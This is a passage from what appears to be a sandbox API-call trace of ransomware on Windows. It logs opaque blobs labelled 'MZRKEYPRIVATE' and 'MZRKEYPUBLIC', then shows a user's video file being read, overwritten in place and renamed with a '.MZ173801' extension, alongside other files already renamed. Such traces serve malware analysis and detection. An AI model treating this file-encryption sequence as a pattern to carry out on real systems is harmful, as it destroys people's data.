U5YsO+wotHw6R1w4PDlMOuTcKSb8OdRE3DksOFw7zCsCjDusKaSHnDm8KcwpFvIw7DlcKQw4DDqsKdE8KXw4t+RMOXwo9Aw7jCuWbDucOXwqLDmcOfT8K3w4Jow6AyDsKuPcK4X3/DokdWPTbCt8O3w4HDh8Kiw502WcOXIMO8woLDsRLCpnplwrtew7zChsO0ekTDh8Khwq56cgvDnCbCvcK9WcOdNMKXw7nDj8KwAWYVw4bDuTnCnMKwwopew7cyMw9iwofCncOLw48awotFwrYvwoDCvcOxJsK7w7wwwoTCocOYJRVLw4/CnjPCl8OrwpE4w7xkwoLCg8KGw4HDqDMcwrVFTcO2en/DsMONw5dmZDokbEzCq8KFwqjDrcOXccOHwpVzw5/DvsKDBDE7VAZlw7ArZ8KGccOww6cPwrDDr8OfwozCtnHCl8KXwrjCuMK0w7XDsWHDrjLDmHptw546D1fDnUxQb8KlwqnDjcK2w43CrcOJGCPDoHrCuD3DtAfCtWbDoDPDr8K6YUghR8OBwq8tIBQVw68kwrrClwbDozLDn8OFwpMLw5HCucOFK8O6wp7CqsOfwrbDvMKFBsOCwofCsX7Dt0DChRTDs8KlIsOAw40yYlsWw4E6w5LCpxrDjT7CkMK4JsOGw7DCnB0yCWIeQcKxGlLCucOCwpHCt1DDtcOvwrhxcFjDs8OzM8Omwo3CncOUesOfw7B8ZlDDgjLCm3HCgsK3C1Yw", cchWideChar=2417, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2417 [0166.382] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPRIVATEwr7DlTDCocONwrgtOQPCn8OPw6BVOcK1w7jDl8OHWMKdPcOkBMKlwoXDtRU4w70Ew4FzOMOcwpwrS01QOGgeUMKfw4vDqcKPw43DtMOYwqFNwr0nRcOBV8Knwp9vVMOSwojCnsOiXcKhcsKtwo7CjUBaXcKcPWvCuAU4w7XCtMOfO8KIwqJEwobDkn/DtBzCicKaDGbCp8OfKzUxw55PwrM5KjjDncKcNGXCuMKFw7fDmcK4IltIw5fCnDk6w7xxwpdhw6kRLcO8w6jCiMOSAiYHwoUywrLCl8KJBX7DgBXDni0GwphlwpPCkcO4wqHDvMKRPMOnwpFqJmcCQBJjw5fDphzCgHJywqwsXhfDnWgSWnFrXsKaDsKgwp3CsMO8OcOuw7HCvMOXHRLCthDCpkPDicKlWxFmQjzDq8O+RcOow7xsOTYxb2hswqzCoi9hw7DDqcOGERzCvXc5QsOXHMOCHjR6E8ONOsO4w540QDIUB3psM8KBEcKmFgJnw7XCvsO6wpHCmjczw57Cl8KTUcKaVEzDgsOFwpIBwoYyBi5sw7pRwpI/EV5Kwr5xw6U4wovDvBwjw5nDsMKDwpPCiD54YVBmHcO8woXDjTzDvyvCpMKew48Gwp5EwqvCoTYxcsOeZ8Oxw7XCl8Kiw7Mkw6xtEx7CisO/w5s6woTDt23DvHHDisORw4dKw6N5Yw4OWWnCoWtBFVADMVTDsxwyw6RcATQkwpw9wrlvRWomw7PCtVIdw6lyw5cJw5J4w5zCnTjDvDk6ZFnDrsO8FcOza8Ouw6lew4PDhsKqFcKaNsKJw7x5NhJRFm8Jwq5rwolmwpLDgSbCqyTDjcKIVMKjYnjCisOEFgsVN3o5w5A5BsKUI8KKw68BK0HDtFZlw7xcwrgCYjx+w4/DhXEgMUQDDsK4C0Evw4fDkn7Ct8KsPMKdw7o4ATIew7jDscOBw4fCnWTCowXCtm15E8OZb8Otw5d4UX/DtMKRQMKOw4TDqE1qCwPCnH7DusObw4s7HnojcMKKNMOAwpfDgcKaOQtEa8KLw47ClWvChcOewrd6LsOPwqjCpsKYRMOhwp5kHGplO8KJMcKrwo7DncOcw7PDgcOEw54Ww51QC8KuDsOSN8O0w4bCmV/ChTxrw54rbzrDtMOfwpvDsXLCryZ/w7l6DsKILMKxf8KqwpnCqFZ/wqnCoGvDhTZ+OcKJccKmw57DjcOzY3pZw7vCsMKGwobCqGLDjX/CqsOvw5VAVMKFXgHDpsKkM8K+ZDggE8KSw53Cm8OgwqLCoXlNfzlhQMOyN8ODw7DDnsKGUHx4GsKPw6lqVcKkwok/QAzCscOVWcK7b2jCoGEcZXJywqLCgMOKw6EVw4cSwp5Uw5/Dj8Kodjo0wonDq8KkHWbDnsKmCSbDg8O9woHDrsOoFl3DmcOqw6fDicK0w609w4dVwq1/w4HCrsKSc8OGwoTCrsKoBWcrQ8K5HTTDrsO4w6nCugc5wrjCpMKTL8KUMzrDh8K4fsOOw48iwqHDgU9qwoHDj0A9wr9CfsK0JnbDn8OjPWjDqcOnQhDDi8KOOcKeeXpjQMOCasK+w4bDg8O4wog/wqzCq3/DtQdxwoJyw7cvMcONw6JrXcK3w5VcwrHCkcKIBsKcUMOuwo7DjQfCnlU5YsO+wotHw6R1w4PDlMOuTcKSb8OdRE3DksOFw7zCsCjDusKaSHnDm8KcwpFvIw7DlcKQw4DDqsKdE8KXw4t+RMOXwo9Aw7jCuWbDucOXwqLDmcOfT8K3w4Jow6AyDsKuPcK4X3/DokdWPTbCt8O3w4HDh8Kiw502WcOXIMO8woLDsRLCpnplwrtew7zChsO0ekTDh8Khwq56cgvDnCbCvcK9WcOdNMKXw7nDj8KwAWYVw4bDuTnCnMKwwopew7cyMw9iwofCncOLw48awotFwrYvwoDCvcOxJsK7w7wwwoTCocOYJRVLw4/CnjPCl8OrwpE4w7xkwoLCg8KGw4HDqDMcwrVFTcO2en/DsMONw5dmZDokbEzCq8KFwqjDrcOXccOHwpVzw5/DvsKDBDE7VAZlw7ArZ8KGccOww6cPwrDDr8OfwozCtnHCl8KXwrjCuMK0w7XDsWHDrjLDmHptw546D1fDnUxQb8KlwqnDjcK2w43CrcOJGCPDoHrCuD3DtAfCtWbDoDPDr8K6YUghR8OBwq8tIBQVw68kwrrClwbDozLDn8OFwpMLw5HCucOFK8O6wp7CqsOfwrbDvMKFBsOCwofCsX7Dt0DChRTDs8KlIsOAw40yYlsWw4E6w5LCpxrDjT7CkMK4JsOGw7DCnB0yCWIeQcKxGlLCucOCwpHCt1DDtcOvwrhxcFjDs8OzM8Omwo3CncOUesOfw7B8ZlDDgjLCm3HCgsK3C1Yw", cchWideChar=2417, lpMultiByteStr=0x24a003c, cbMultiByte=2417, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="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", lpUsedDefaultChar=0x0) returned 2417 [0166.384] GetCurrentThreadId () returned 0xab4 [0166.384] GetCurrentThreadId () returned 0xab4 [0166.384] GetCurrentThreadId () returned 0xab4 [0166.384] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0166.384] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", cchWideChar=644, lpMultiByteStr=0x24b109c, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", lpUsedDefaultChar=0x0) returned 644 [0166.385] GetCurrentThreadId () returned 0xab4 [0166.385] GetCurrentThreadId () returned 0xab4 [0166.385] GetCurrentThreadId () returned 0xab4 [0166.385] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Videos\\mrC2\\13_UhdLxbGNJHYgey\\5DFJaZ09zxpj\\Z9A0N 7.mkv" (normalized: "c:\\users\\fd1hvy\\videos\\mrc2\\13_uhdlxbgnjhygey\\5dfjaz09zxpj\\z9a0n 7.mkv"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2f4 [0166.385] SetFilePointer (in: hFile=0x2f4, lDistanceToMove=0, lpDistanceToMoveHigh=0x19f1a8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19f1a8*=0) returned 0x0 [0166.385] SetFilePointer (in: hFile=0x2f4, lDistanceToMove=0, lpDistanceToMoveHigh=0x19f1a0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x19f1a0*=0) returned 0x0 [0166.385] SetFilePointer (in: hFile=0x2f4, lDistanceToMove=0, lpDistanceToMoveHigh=0x19f1a0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x19f1a0*=0) returned 0x18746 [0166.385] SetFilePointer (in: hFile=0x2f4, lDistanceToMove=0, lpDistanceToMoveHigh=0x19f1a0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19f1a0*=0) returned 0x0 [0166.385] ReadFile (in: hFile=0x2f4, lpBuffer=0x24b8ea0, nNumberOfBytesToRead=0x18746, lpNumberOfBytesRead=0x19f1b4, lpOverlapped=0x0 | out: lpBuffer=0x24b8ea0*, lpNumberOfBytesRead=0x19f1b4*=0x18746, lpOverlapped=0x0) returned 1 [0166.387] CloseHandle (hObject=0x2f4) returned 1 [0166.389] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Videos\\mrC2\\13_UhdLxbGNJHYgey\\5DFJaZ09zxpj\\Z9A0N 7.mkv" (normalized: "c:\\users\\fd1hvy\\videos\\mrc2\\13_uhdlxbgnjhygey\\5dfjaz09zxpj\\z9a0n 7.mkv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2f4 [0166.392] WriteFile (in: hFile=0x2f4, lpBuffer=0x24d2ed0*, nNumberOfBytesToWrite=0x18746, lpNumberOfBytesWritten=0x19f1c0, lpOverlapped=0x0 | out: lpBuffer=0x24d2ed0*, lpNumberOfBytesWritten=0x19f1c0*=0x18746, lpOverlapped=0x0) returned 1 [0166.394] CloseHandle (hObject=0x2f4) returned 1 [0166.399] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Videos\\mrC2\\13_UhdLxbGNJHYgey\\5DFJaZ09zxpj\\Z9A0N 7.mkv" (normalized: "c:\\users\\fd1hvy\\videos\\mrc2\\13_uhdlxbgnjhygey\\5dfjaz09zxpj\\z9a0n 7.mkv"), lpNewFileName="C:\\Users\\FD1HVy\\Videos\\mrC2\\13_UhdLxbGNJHYgey\\5DFJaZ09zxpj\\Z9A0N 7.mkv.MZ173801" (normalized: "c:\\users\\fd1hvy\\videos\\mrc2\\13_uhdlxbgnjhygey\\5dfjaz09zxpj\\z9a0n 7.mkv.mz173801")) returned 1 [0166.400] GetCurrentThreadId () returned 0xab4 [0166.400] GetCurrentThreadId () returned 0xab4 [0166.400] GetCurrentThreadId () returned 0xab4 [0166.400] GetCurrentThreadId () returned 0xab4 [0166.400] GetCurrentThreadId () returned 0xab4 [0166.400] GetCurrentThreadId () returned 0xab4 [0166.400] FindNextFileW (in: hFindFile=0xa1b9a0, lpFindFileData=0x19f2ec | out: lpFindFileData=0x19f2ec*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3293fac0, ftCreationTime.dwHighDateTime=0x1d5e701, ftLastAccessTime.dwLowDateTime=0xdb7e0330, ftLastAccessTime.dwHighDateTime=0x1d5e0ec, ftLastWriteTime.dwLowDateTime=0xdb7e0330, ftLastWriteTime.dwHighDateTime=0x1d5e0ec, nFileSizeHigh=0x0, nFileSizeLow=0x18746, dwReserved0=0x0, dwReserved1=0x19f34c, cFileName="Z9A0N 7.mkv", cAlternateFileName="Z9A0N7~1.MKV")) returned 0 [0166.400] GetLastError () returned 0x12 [0166.400] FindClose (in: hFindFile=0xa1b9a0 | out: hFindFile=0xa1b9a0) returned 1 [0166.400] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\Videos\\mrC2\\13_UhdLxbGNJHYgey\\5DFJaZ09zxpj\\*.*", lpFindFileData=0x19f2ec | out: lpFindFileData=0x19f2ec*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3c03e2d0, ftCreationTime.dwHighDateTime=0x1d5e86b, ftLastAccessTime.dwLowDateTime=0x8d52883a, ftLastAccessTime.dwHighDateTime=0x1d61fff, ftLastWriteTime.dwLowDateTime=0x8d52883a, ftLastWriteTime.dwHighDateTime=0x1d61fff, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x19f34c, cFileName=".", cAlternateFileName="")) returned 0xa1b7a8 [0166.400] FileTimeToLocalFileTime (in: lpFileTime=0x19f300, lpLocalFileTime=0x19f264 | out: lpLocalFileTime=0x19f264) returned 1 [0166.400] FileTimeToDosDateTime (in: lpFileTime=0x19f264, lpFatDate=0x19f2ce, lpFatTime=0x19f2cc | out: lpFatDate=0x19f2ce, lpFatTime=0x19f2cc) returned 1 [0166.400] FindNextFileW (in: hFindFile=0xa1b7a8, lpFindFileData=0x19f2ec | out: lpFindFileData=0x19f2ec*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3c03e2d0, ftCreationTime.dwHighDateTime=0x1d5e86b, ftLastAccessTime.dwLowDateTime=0x8d52883a, ftLastAccessTime.dwHighDateTime=0x1d61fff, ftLastWriteTime.dwLowDateTime=0x8d52883a, ftLastWriteTime.dwHighDateTime=0x1d61fff, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x19f34c, cFileName="..", cAlternateFileName="")) returned 1 [0166.400] FileTimeToLocalFileTime (in: lpFileTime=0x19f300, lpLocalFileTime=0x19f260 | out: lpLocalFileTime=0x19f260) returned 1 [0166.400] FileTimeToDosDateTime (in: lpFileTime=0x19f260, lpFatDate=0x19f2ce, lpFatTime=0x19f2cc | out: lpFatDate=0x19f2ce, lpFatTime=0x19f2cc) returned 1 [0166.400] FindNextFileW (in: hFindFile=0xa1b7a8, lpFindFileData=0x19f2ec | out: lpFindFileData=0x19f2ec*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa4ea6c50, ftCreationTime.dwHighDateTime=0x1d5ea1f, ftLastAccessTime.dwLowDateTime=0x414543c0, ftLastAccessTime.dwHighDateTime=0x1d5e761, ftLastWriteTime.dwLowDateTime=0x8d4dc329, ftLastWriteTime.dwHighDateTime=0x1d61fff, nFileSizeHigh=0x0, nFileSizeLow=0x883f, dwReserved0=0x0, dwReserved1=0x19f34c, cFileName="5zGRTy-2fNRCTB wsnKe.mkv.MZ173801", cAlternateFileName="5ZGRTY~1.MZ1")) returned 1 [0166.400] FileTimeToLocalFileTime (in: lpFileTime=0x19f300, lpLocalFileTime=0x19f260 | out: lpLocalFileTime=0x19f260) returned 1 [0166.400] FileTimeToDosDateTime (in: lpFileTime=0x19f260, lpFatDate=0x19f2ce, lpFatTime=0x19f2cc | out: lpFatDate=0x19f2ce, lpFatTime=0x19f2cc) returned 1 [0166.400] FindNextFileW (in: hFindFile=0xa1b7a8, lpFindFileData=0x19f2ec | out: lpFindFileData=0x19f2ec*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf570d500, ftCreationTime.dwHighDateTime=0x1d5e85e, ftLastAccessTime.dwLowDateTime=0xb122faf0, ftLastAccessTime.dwHighDateTime=0x1d5e9c0, ftLastWriteTime.dwLowDateTime=0x8d502548, ftLastWriteTime.dwHighDateTime=0x1d61fff, nFileSizeHigh=0x0, nFileSizeLow=0x13486, dwReserved0=0x0, dwReserved1=0x19f34c, cFileName="jtVwtSRgZQhn.swf.MZ173801", cAlternateFileName="JTVWTS~1.MZ1")) returned 1 [0166.400] FileTimeToLocalFileTime (in: lpFileTime=0x19f300, lpLocalFileTime=0x19f260 | out: lpLocalFileTime=0x19f260) returned 1 [0166.400] FileTimeToDosDateTime (in: lpFileTime=0x19f260, lpFatDate=0x19f2ce, lpFatTime=0x19f2cc | out: lpFatDate=0x19f2ce, lpFatTime=0x19f2cc) returned 1 [0166.401] FindNextFileW (in: hFindFile=0xa1b7a8, lpFindFileData=0x19f2ec | out: lpFindFileData=0x19f2ec*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3293fac0, ftCreationTime.dwHighDateTime=0x1d5e701, ftLastAccessTime.dwLowDateTime=0xdb7e0330, ftLastAccessTime.dwHighDateTime=0x1d5e0ec, ftLastWriteTime.dwLowDateTime=0x8d52883a, ftLastWriteTime.dwHighDateTime=0x1d61fff, nFileSizeHigh=0x0, nFileSizeLow=0x18746, dwReserved0=0x0, dwReserved1=0x19f34c, cFileName="Z9A0N 7.mkv.MZ173801", cAlternateFileName="Z9A0N7~1.MZ1")) returned 1 [0166.401] FileTimeToLocalFileTime (in: lpFileTime=0x19f300, lpLocalFileTime=0x19f260 | out: lpLocalFileTime=0x19f260) returned 1 [0166.401] FileTimeToDosDateTime (in: lpFileTime=0x19f260, lpFatDate=0x19f2ce, lpFatTime=0x19f2cc | out: lpFatDate=0x19f2ce, lpFatTime=0x19f2cc) returned 1 [0166.401] FindNextFileW (in: hFindFile=0xa1b7a8, lpFindFileData=0x19f2ec | out: lpFindFileData=0x19f2ec*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3293fac0, ftCreationTime.dwHighDateTime=0x1d5e701, ftLastAccessTime.dwLowDateTime=0xdb7e0330, ftLastAccessTime.dwHighDateTime=0x1d5e0ec, ftLastWriteTime.dwLowDateTime=0x8d52883a, ftLastWriteTime.dwHighDateTime=0x1d61fff, nFileSizeHigh=0x0, nFileSizeLow=0x18746, dwReserved0=0x0, dwReserved1=0x19f34c, cFileName="Z9A0N 7.mkv.MZ173801", cAlternateFileName="Z9A0N7~1.MZ1")) returned 0 [0166.401] GetLastError () returned 0x12 [0166.401] FindClose (in: hFindFile=0xa1b7a8 | out: hFindFile=0xa1b7a8) returned 1 [0166.401] FindNextFileW (in: hFindFile=0xa1b850, lpFindFileData=0x19f5b8 | out: lpFindFileData=0x19f5b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x26032cc0, ftCreationTime.dwHighDateTime=0x1d5e61d, ftLastAccessTime.dwLowDateTime=0x1c3854c0, ftLastAccessTime.dwHighDateTime=0x1d5e0d4, ftLastWriteTime.dwLowDateTime=0x8d148b80, ftLastWriteTime.dwHighDateTime=0x1d61fff, nFileSizeHigh=0x0, nFileSizeLow=0x61d, dwReserved0=0x19f614, dwReserved1=0x77a601e9, cFileName="7LaZ6FmIScNU.swf.MZ173801", cAlternateFileName="7LAZ6F~1.MZ1")) returned 1 [0166.401] FileTimeToLocalFileTime (in: lpFileTime=0x19f5cc, lpLocalFileTime=0x19f52c | out: lpLocalFileTime=0x19f52c) returned 1 [0166.401] FileTimeToDosDateTime (in: lpFileTime=0x19f52c, lpFatDate=0x19f59a, lpFatTime=0x19f598 | out: lpFatDate=0x19f59a, lpFatTime=0x19f598) returned 1 [0166.401] FindNextFileW (in: hFindFile=0xa1b850, lpFindFileData=0x19f5b8 | out: lpFindFileData=0x19f5b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa7826500, ftCreationTime.dwHighDateTime=0x1d5eef0, ftLastAccessTime.dwLowDateTime=0x63fd1490, ftLastAccessTime.dwHighDateTime=0x1d5eeb1, ftLastWriteTime.dwLowDateTime=0x8d253b29, ftLastWriteTime.dwHighDateTime=0x1d61fff, nFileSizeHigh=0x0, nFileSizeLow=0x2d6a, dwReserved0=0x19f614, dwReserved1=0x77a601e9, cFileName="pa0XQGFgpgnvg.flv.MZ173801", cAlternateFileName="PA0XQG~1.MZ1")) returned 1 [0166.401] FileTimeToLocalFileTime (in: lpFileTime=0x19f5cc, lpLocalFileTime=0x19f52c | out: lpLocalFileTime=0x19f52c) returned 1 [0166.401] FileTimeToDosDateTime (in: lpFileTime=0x19f52c, lpFatDate=0x19f59a, lpFatTime=0x19f598 | out: lpFatDate=0x19f59a, lpFatTime=0x19f598) returned 1 [0166.401] FindNextFileW (in: hFindFile=0xa1b850, lpFindFileData=0x19f5b8 | out: lpFindFileData=0x19f5b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeee14a40, ftCreationTime.dwHighDateTime=0x1d5ed7b, ftLastAccessTime.dwLowDateTime=0xc6c266e0, ftLastAccessTime.dwHighDateTime=0x1d5ee6e, ftLastWriteTime.dwLowDateTime=0x8d2c62ee, ftLastWriteTime.dwHighDateTime=0x1d61fff, nFileSizeHigh=0x0, nFileSizeLow=0xfbe7, dwReserved0=0x19f614, dwReserved1=0x77a601e9, cFileName="pRvInr44zIMLaGG9ke.mkv.MZ173801", cAlternateFileName="PRVINR~1.MZ1")) returned 1 [0166.401] FileTimeToLocalFileTime (in: lpFileTime=0x19f5cc, lpLocalFileTime=0x19f52c | out: lpLocalFileTime=0x19f52c) returned 1 [0166.401] FileTimeToDosDateTime (in: lpFileTime=0x19f52c, lpFatDate=0x19f59a, lpFatTime=0x19f598 | out: lpFatDate=0x19f59a, lpFatTime=0x19f598) returned 1 [0166.401] FindNextFileW (in: hFindFile=0xa1b850, lpFindFileData=0x19f5b8 | out: lpFindFileData=0x19f5b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa71d0140, ftCreationTime.dwHighDateTime=0x1d5e1af, ftLastAccessTime.dwLowDateTime=0xd9f80370, ftLastAccessTime.dwHighDateTime=0x1d5e0c0, ftLastWriteTime.dwLowDateTime=0x8d2ec46f, ftLastWriteTime.dwHighDateTime=0x1d61fff, 